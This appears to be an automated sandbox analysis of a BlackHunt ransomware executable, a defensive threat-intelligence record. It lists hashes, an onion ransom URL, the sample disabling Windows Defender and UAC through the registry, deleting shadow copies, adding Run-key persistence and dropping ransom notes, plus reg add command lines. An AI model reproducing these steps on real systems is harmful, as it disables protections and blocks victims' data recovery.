Analysis
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max time kernel
171s -
max time network
202s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
19/01/2024, 00:39
Static task
static1
Behavioral task
behavioral1
Sample
b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe
Resource
win10v2004-20231215-en
General
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Target
b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe
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Size
707KB
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MD5
bc87792299932bf107c31948eea404c3
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SHA1
15cd4a6a96fc3b4a13fdc9c4e0b929e4ff7f0651
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SHA256
b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505
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SHA512
8577b3905b51fb8eb2ba65a9a19e196f7ada6ff305ddcfac8c85e43b561a6075215c450e2c8a78bfb770470f7813f1567cadc463de14cb3e7fdc3b6269a085c4
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SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1k8evnh:6uaTmkZJ+naie5OTamgEoKxLWHAh
Malware Config
Extracted
F:\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
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Deletes NTFS Change Journal 2 TTPs 1 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 1996 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
pid Process 6140 bcdedit.exe 4052 bcdedit.exe -
Renames multiple (520) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
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pid Process 220 wbadmin.exe -
Disables Task Manager via registry modification
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Disables use of System Restore points 1 TTPs
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\International\Geo\Nation b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\I: b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened (read-only) \??\Z: b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened (read-only) \??\B: b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\K: b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened (read-only) \??\G: b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened (read-only) \??\L: b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened (read-only) \??\V: b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened (read-only) \??\N: b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened (read-only) \??\E: b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened (read-only) \??\T: b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened (read-only) \??\P: b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened (read-only) \??\W: b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened (read-only) \??\H: b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened (read-only) \??\Y: b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened (read-only) \??\M: b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened (read-only) \??\S: b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened (read-only) \??\R: b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened (read-only) \??\O: b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened (read-only) \??\A: b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened (read-only) \??\Q: b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened (read-only) \??\J: b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened (read-only) \??\X: b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\U: b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 17 ip-api.com -
Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files\7-Zip\#BlackHunt_ReadMe.hta b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened for modification C:\Program Files\7-Zip\Lang\fa.txt b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened for modification C:\Program Files\7-Zip\Lang\br.txt b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\as_IN\LC_MESSAGES\vlc.mo b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\cursors.properties b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\images\cursors\win32_MoveDrop32x32.gif b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File created C:\Program Files\Java\jre-1.8\lib\jfr\#BlackHunt_Private.key b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File created C:\Program Files\Java\jdk-1.8\jre\bin\dtplugin\#BlackHunt_Private.key b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\deploy\#BlackHunt_ReadMe.hta b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\cmm\#BlackHunt_Private.key b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\cmm\GRAY.pf b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File created C:\Program Files\Java\jdk-1.8\legal\javafx\#BlackHunt_ReadMe.hta b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File created C:\Program Files\7-Zip\Lang\#BlackHunt_Private.key b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened for modification C:\Program Files\7-Zip\Lang\mn.txt b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened for modification C:\Program Files\VideoLAN\VLC\hrtfs\dodeca_and_7channel_3DSL_HRTF.sofa b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File created C:\Program Files\dotnet\host\fxr\8.0.0\#BlackHunt_Private.key b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File created C:\Program Files\Java\jdk-1.8\include\win32\#BlackHunt_Private.key b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File created C:\Program Files\VideoLAN\VLC\hrtfs\#BlackHunt_ReadMe.txt b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\javafx\libffi.md b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened for modification C:\Program Files\Java\jre-1.8\legal\jdk\asm.md b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File created C:\Program Files\Java\jre-1.8\lib\images\cursors\#BlackHunt_ReadMe.txt b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened for modification C:\Program Files\ProtectUpdate.html b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\plugin.jar b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened for modification C:\Program Files\Java\jdk-1.8\LICENSE b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File created C:\Program Files\Java\jre-1.8\lib\security\policy\unlimited\#BlackHunt_ReadMe.hta b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File created C:\Program Files\dotnet\host\fxr\8.0.0\#BlackHunt_ReadMe.hta b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\fontconfig.bfc b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened for modification C:\Program Files\Java\jdk-1.8\COPYRIGHT b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\fonts\#BlackHunt_ReadMe.hta b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File created C:\Program Files\dotnet\host\fxr\6.0.25\#BlackHunt_ReadMe.txt b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\classlist b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\rt.jar b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened for modification C:\Program Files\UseMount.m1v b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File created C:\Program Files\Google\#BlackHunt_ReadMe.txt b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened for modification C:\Program Files\7-Zip\Lang\ka.txt b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\jdk\joni.md b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\psfont.properties.ja b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File created C:\Program Files\Java\jdk-1.8\include\win32\bridge\#BlackHunt_Private.key b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File created C:\Program Files\Java\jdk-1.8\jre\bin\#BlackHunt_Private.key b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File created C:\Program Files\Java\jdk-1.8\jre\legal\#BlackHunt_ReadMe.hta b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File created C:\Program Files\Java\jre-1.8\bin\server\#BlackHunt_ReadMe.hta b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened for modification C:\Program Files\Java\jdk-1.8\README.html b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File created C:\Program Files\Java\jre-1.8\legal\javafx\#BlackHunt_Private.key b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File created C:\Program Files\VideoLAN\VLC\locale\am\#BlackHunt_ReadMe.txt b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened for modification C:\Program Files\7-Zip\Lang\az.txt b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened for modification C:\Program Files\Java\jdk-1.8\include\win32\jawt_md.h b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\limited\#BlackHunt_ReadMe.txt b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened for modification C:\Program Files\7-Zip\Lang\lv.txt b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\win32_MoveDrop32x32.gif b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\resources.jar b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File created C:\Program Files\Java\jdk-1.8\legal\#BlackHunt_ReadMe.txt b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File created C:\Program Files\Java\jdk-1.8\lib\#BlackHunt_ReadMe.hta b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\deploy\splash_11-lic.gif b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File created C:\Program Files\VideoLAN\VLC\locale\bn\LC_MESSAGES\#BlackHunt_ReadMe.txt b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File created C:\Program Files\VideoLAN\VLC\locale\bn_IN\LC_MESSAGES\#BlackHunt_ReadMe.txt b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File created C:\Program Files\Java\jdk-1.8\include\#BlackHunt_Private.key b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\hijrah-config-umalqura.properties b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened for modification C:\Program Files\ExportPublish.svg b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File created C:\Program Files\Java\jdk-1.8\lib\#BlackHunt_ReadMe.txt b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened for modification C:\Program Files\Java\jdk-1.8\legal\jdk\dynalink.md b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\hijrah-config-umalqura.properties b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File created C:\Program Files\VideoLAN\VLC\locale\am\LC_MESSAGES\#BlackHunt_ReadMe.hta b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File created C:\Program Files\VideoLAN\VLC\locale\as_IN\#BlackHunt_Private.key b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe File created C:\Program Files\VideoLAN\VLC\locale\bg\LC_MESSAGES\#BlackHunt_Private.key b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks SCSI registry key(s) 3 TTPs 4 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName vds.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName vds.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4480 schtasks.exe -
Interacts with shadow copies 2 TTPs 5 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 4604 vssadmin.exe 3236 vssadmin.exe 2528 vssadmin.exe 4968 vssadmin.exe 4732 vssadmin.exe -
Modifies registry class 8 IoCs
description ioc Process Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe -
Suspicious use of AdjustPrivilegeToken 13 IoCs
description pid Process Token: SeDebugPrivilege 4060 b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe Token: SeRestorePrivilege 4060 b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe Token: SeBackupPrivilege 4060 b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe Token: SeTakeOwnershipPrivilege 4060 b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe Token: SeAuditPrivilege 4060 b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe Token: SeSecurityPrivilege 4060 b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe Token: SeIncBasePriorityPrivilege 4060 b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe Token: SeBackupPrivilege 4264 vssvc.exe Token: SeRestorePrivilege 4264 vssvc.exe Token: SeAuditPrivilege 4264 vssvc.exe Token: SeBackupPrivilege 6056 wbengine.exe Token: SeRestorePrivilege 6056 wbengine.exe Token: SeSecurityPrivilege 6056 wbengine.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4060 wrote to memory of 4300 4060 b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe 89 PID 4060 wrote to memory of 4300 4060 b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe 89 PID 4060 wrote to memory of 4684 4060 b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe 91 PID 4060 wrote to memory of 4684 4060 b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe 91 PID 4060 wrote to memory of 2528 4060 b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe 93 PID 4060 wrote to memory of 2528 4060 b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe 93 PID 4060 wrote to memory of 404 4060 b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe 95 PID 4060 wrote to memory of 404 4060 b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe 95 PID 4300 wrote to memory of 4584 4300 cmd.exe 97 PID 4300 wrote to memory of 4584 4300 cmd.exe 97 PID 4060 wrote to memory of 2212 4060 b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe 98 PID 4060 wrote to memory of 2212 4060 b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe 98 PID 4684 wrote to memory of 2620 4684 cmd.exe 102 PID 4684 wrote to memory of 2620 4684 cmd.exe 102 PID 2528 wrote to memory of 3744 2528 cmd.exe 103 PID 404 wrote to memory of 2920 404 cmd.exe 101 PID 2528 wrote to memory of 3744 2528 cmd.exe 103 PID 404 wrote to memory of 2920 404 cmd.exe 101 PID 2212 wrote to memory of 4284 2212 cmd.exe 100 PID 2212 wrote to memory of 4284 2212 cmd.exe 100 PID 4060 wrote to memory of 3532 4060 b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe 116 PID 4060 wrote to memory of 3532 4060 b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe 116 PID 4060 wrote to memory of 3224 4060 b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe 114 PID 4060 wrote to memory of 3224 4060 b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe 114 PID 4060 wrote to memory of 4600 4060 b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe 112 PID 4060 wrote to memory of 4600 4060 b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe 112 PID 4060 wrote to memory of 1188 4060 b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe 110 PID 4060 wrote to memory of 1188 4060 b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe 110 PID 4060 wrote to memory of 3208 4060 b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe 108 PID 4060 wrote to memory of 3208 4060 b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe 108 PID 4060 wrote to memory of 432 4060 b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe 107 PID 4060 wrote to memory of 432 4060 b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe 107 PID 3532 wrote to memory of 4532 3532 cmd.exe 111 PID 3532 wrote to memory of 4532 3532 cmd.exe 111 PID 4060 wrote to memory of 1020 4060 b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe 117 PID 4060 wrote to memory of 1020 4060 b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe 117 PID 3224 wrote to memory of 700 3224 cmd.exe 119 PID 3224 wrote to memory of 700 3224 cmd.exe 119 PID 4600 wrote to memory of 4920 4600 cmd.exe 130 PID 4600 wrote to memory of 4920 4600 cmd.exe 130 PID 1188 wrote to memory of 4232 1188 cmd.exe 129 PID 1188 wrote to memory of 4232 1188 cmd.exe 129 PID 4060 wrote to memory of 2280 4060 b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe 120 PID 4060 wrote to memory of 2280 4060 b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe 120 PID 4060 wrote to memory of 1548 4060 b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe 124 PID 4060 wrote to memory of 1548 4060 b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe 124 PID 3208 wrote to memory of 4832 3208 cmd.exe 121 PID 3208 wrote to memory of 4832 3208 cmd.exe 121 PID 432 wrote to memory of 4816 432 cmd.exe 123 PID 432 wrote to memory of 4816 432 cmd.exe 123 PID 4060 wrote to memory of 4268 4060 b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe 126 PID 4060 wrote to memory of 4268 4060 b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe 126 PID 1020 wrote to memory of 2412 1020 cmd.exe 128 PID 1020 wrote to memory of 2412 1020 cmd.exe 128 PID 4060 wrote to memory of 3056 4060 b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe 141 PID 4060 wrote to memory of 3056 4060 b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe 141 PID 2280 wrote to memory of 4720 2280 cmd.exe 138 PID 2280 wrote to memory of 4720 2280 cmd.exe 138 PID 1548 wrote to memory of 2164 1548 cmd.exe 137 PID 1548 wrote to memory of 2164 1548 cmd.exe 137 PID 4060 wrote to memory of 1560 4060 b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe 133 PID 4060 wrote to memory of 1560 4060 b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe 133 PID 4060 wrote to memory of 3184 4060 b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe 135 PID 4060 wrote to memory of 3184 4060 b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe 135 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe"C:\Users\Admin\AppData\Local\Temp\b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe"1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4060 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4300 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:4584
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4684 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2620
